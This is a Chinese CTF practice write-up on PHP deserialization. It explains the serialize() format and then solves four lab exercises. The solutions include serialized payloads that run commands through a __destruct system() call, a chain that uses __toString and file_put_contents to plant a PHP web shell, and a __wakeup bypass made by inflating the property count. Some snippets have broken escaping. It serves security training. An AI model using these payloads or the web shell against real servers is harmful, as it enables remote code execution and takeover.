靶场练习day15--php反序列化

一.序列化基础知识

1.序列化的作用

序列化(Serialization)是将对象的状态信息(属性)转换为可以存储 或传输的形式的过程。

对象------------------>字符串

将对象或者数组转换为可存储/运输的字符串

2.表达方式

复制代码
<?php
$a = null;
echo serialize($a);
?>

所有格式第一位都是数据类型的英文字母简写。

空字符: null------------------------------>N;

整型: 666 ------------------------------>i:666;

浮点型: 66.6------------------------------>d:66.6;

Boolean型:true------------------------------>b:1;

false--------------------------->b:0;

字符串: 'benben'------------------------>s:6:"benben";

复制代码
<?php
class User {
    public $name = "admin";
    public $age = 25;
    public $isAdmin = true;
}

$user = new User();
$serialized = serialize($user);
echo $serialized;
// 输出: O:4:"User":3:{s:4:"name";s:5:"admin";s:3:"age";i:25;s:7:"isAdmin";b:1;}
?>

文件头部分

O:4:"User":3:{

O - 表示这是一个对象 (Object)

4 - 类名的长度是4个字符

"User" - 类的名称

3 - 该对象有3个属性

{ - 开始属性的定义

属性

s:4:"name";s:5:"admin";

s - 表示这是一个字符串 (string)

4 - 属性名"name"的长度是4

"name" - 属性名

; - 分隔符

s - 属性值也是字符串

5 - 属性值"admin"的长度是5

"admin" - 属性值

; - 分隔符

3.对象的序列化

复制代码
<?php
class test{
   public $pub='benben';    //定义成员变量
   function jineng(){       //定义成员函数
      echo $this->pub;  
   }
}
$a = new test();
echo serialize($a);
?>

结果:Oobject:4 类名长度:"test"类名:1变量数量:{s:3变量名字长度:"pub"变量名字;s:6值的长度:"benben"变量值;}

注意:不能序列化类;可以序列化对象

只序列化成员变量;不序列化成员函数

二.靶场实战

1.PHP反序列化入门练习

你的任务:构造一个 Test 类的序列化字符串,使得 $unser_obj->name === 'admin'。当 name 字段为 admin 时系统会自动显示 flag。

复制代码
O:4:"Test":1:{s:4:"name";s:5:"admin";}

O:4:"Test":1:{s:4:"name";s:5:"admin";}

│ │ │ │ │ │ │ │ │ │

│ │ │ │ │ │ │ │ │ └─ 字符串结束

│ │ │ │ │ │ │ │ └─────── 值"admin"

│ │ │ │ │ │ │ └────────── 值的长度5

│ │ │ │ │ │ └────────────── 字符串类型标识

│ │ │ │ │ └─────────────────── 属性名结束

│ │ │ │ └────────────────────── 属性名"name"

│ │ │ └──────────────────────── 属性名长度4

│ │ │ └──────────────────────── 字符串类型标识

│ │ │ └──────────────────────── 属性开始

│ │ └──────────────────────────── 属性数量

│ └───────────────────────────────── 类名"Test"

└─────────────────────────────────── 类名长度4

└─────────────────────────────────── 对象类型标识

2.PHP反序列化入门练习2

源码如下

复制代码
<?php


class ExecCmd {

    public $cmd = "echo 'test'";

    public function __destruct() {
        system($this->cmd);

    }

}

?>

我们直接可以利用 __destruct() 中的 system($this->cmd) 来执行任意命令。这是一个经典的PHP反序列化Getshell漏洞。

生成payload:

O:7:"ExecCmd":1:{s:3:"cmd";s:6:"whoami";}

靶场返回www-data,我们获得了 www-data 权限,这是Web服务的典型权限。

O:7:"ExecCmd":1:{s:3:"cmd";s:18:"more /tmp/flag.txt";}

直接得到flag

3.PHP反序列化入门练习3

源码如下

复制代码
<?php
//代码仅作为分析和参考,不保证一定可以执行。
class WriteFile {
    public $filename = "test.txt";
    public $content = "test content";
    public function __toString() {
        file_put_contents($this->filename, $this->content);
        return "写入成功";
    }
}
$obj = @unserialize($ser_data);
if ($obj !== false && $obj instanceof WriteFile) {
    echo $obj; // 触发__toString
}
?>

关键点:

反序列化后必须是一个 WriteFile 对象

当 echo $obj 时,会自动触发 __toString() 方法

__toString() 中调用了 file_put_contents(),可以写入文件

我们可以通过控制 filename 和 content 来写入木马

  1. 代码基本功能分析

这段代码定义了一个名为 WriteFile 的类,主要用于将指定内容写入指定文件。

属性 (Properties):

public $filename: 定义要写入的文件名,默认是 &quot;test.txt&quot;。由于是 public,外部可以随意修改。

public $content: 定义要写入的内容,默认是 &quot;test content&quot;。同样是 public,可以修改。

方法 (Method):

__toString(): 这是一个 PHP 的 魔术方法(Magic Method) 。

核心逻辑: file_put_contents(this-\>filename, this-&gt;content);

作用: 当这个方法被触发时,它会将 content 的值写入 filename 指定的文件中。

  1. 核心机制:__toString() 何时触发?

理解这个漏洞的关键在于理解 __toString() 何时会被自动调用。它不会自动运行,必须满足以下条件之一,对象才会被当做字符串处理:

echo / print: 例如 echo $object;

字符串连接: 例如 str = \"File status: \" . object;

格式化字符串: 例如 printf(&quot;Status: %s&quot;, $object);

文件操作: 当对象被作为文件名传递给 file_exists($object) 等函数时(在某些 PHP 版本中)。

比较操作: 当对象与字符串进行 == 比较时。

漏洞利用

攻击者可以构造如下攻击链:

构造恶意对象: 攻击者在本地生成一个 WriteFile 对象。

修改属性:

将 $filename 修改为 shell.php(WebShell)。

content 修改为 \<?php system(_GET[&#x27;cmd&#x27;]); ?&gt;(恶意代码)。

序列化: 将这个对象序列化为字符串。

发送 Payload: 将序列化后的字符串发送给受害服务器的 unserialize 函数。

触发执行:

服务器运行 unserialize,在内存中还原出恶意的 WriteFile 对象。

服务器运行 echo $obj(或类似的字符串操作)。

WriteFile 类的 __toString 被触发。

file_put_contents 执行,在服务器上生成 shell.php。

RCE: 攻击者访问 shell.php,获得服务器控制权。

<?php

class WriteFile {

public $filename = "shell.php";

// 在 $ 前面加 \ 进行转义

public content = "\_POST['cmd']); ?>";

}

$obj = new WriteFile();

echo serialize($obj);

?>

4.PHP反序列化绕过1

源码如下

复制代码
<?php

class BypassWakeup {

    public $cmd = "echo 'ok'";

    public function __wakeup() {
        $this->cmd = "echo 'waf'";
    }

    public function __destruct() {
        system($this->cmd);
    }
}

$ser_data = $_GET['data'];
unserialize($ser_data);

?>

这题考察了对php魔术方法的绕过,php中有如下两种魔术方法 _destruct()方法 该方法会在对象的引用被删除或当对象被显示销毁时触发,实例化会触发,序列化不会触发,反序列化会触发 _wakeup()方法 该方法在反序列化时触发,且在反序列化之前。当序列化对象的参数列表中成员个数和实际个数不符合时就会绕过_wakeup()。

字符串逃逸,例如:序列化之后得到 O:1:"A":2:{s:4:"name";s:8:"xiaoming";s:3:"age":N;} 此时成员数为2,当将其改为3,在传入unserialize()函数时就不会触发_wakeup()了

O:1:"A":3:{s:4:"name";s:8:"xiaoming";s:3:"age":N;}

将源码序列化,再修改一下成员数可得

O:12:"BypassWakeup":2:{s:3:"cmd";s:17:"cat /tmp/flag.txt";}

相关推荐
fengci.2 小时前
ctfshow(web入门)279-286
java·开发语言·学习
TON_G-T2 小时前
javascript中 Iframe 处理多端通信、鉴权
开发语言·前端·javascript
周淳APP2 小时前
【JS之闭包防抖节流,this指向,原型&原型链,数据类型,深浅拷贝】简单梳理啦!
开发语言·前端·javascript·ecmascript
ok_hahaha2 小时前
java从头开始-苍穹外卖day05-Redis及店铺营业状态设置
java·开发语言·redis
2501_933329552 小时前
舆情监测系统的技术演进:从数据采集到AI中台,Infoseek如何实现“监测+处置”一体化
开发语言·人工智能·自然语言处理·系统架构
dgvri2 小时前
Windows上安装Go并配置环境变量(图文步骤)
开发语言·windows·golang
222you3 小时前
Java 并发编程(1)
java·开发语言
C++ 老炮儿的技术栈3 小时前
Linux 文件系统目录架构全解析
linux·服务器·c语言·开发语言·c++
2601_953465613 小时前
HLS.js 原生开发!m3u8live.cn打造最贴合项目的 M3U8 在线播放器
开发语言·前端·javascript·python·json·ecmascript·前端开发工具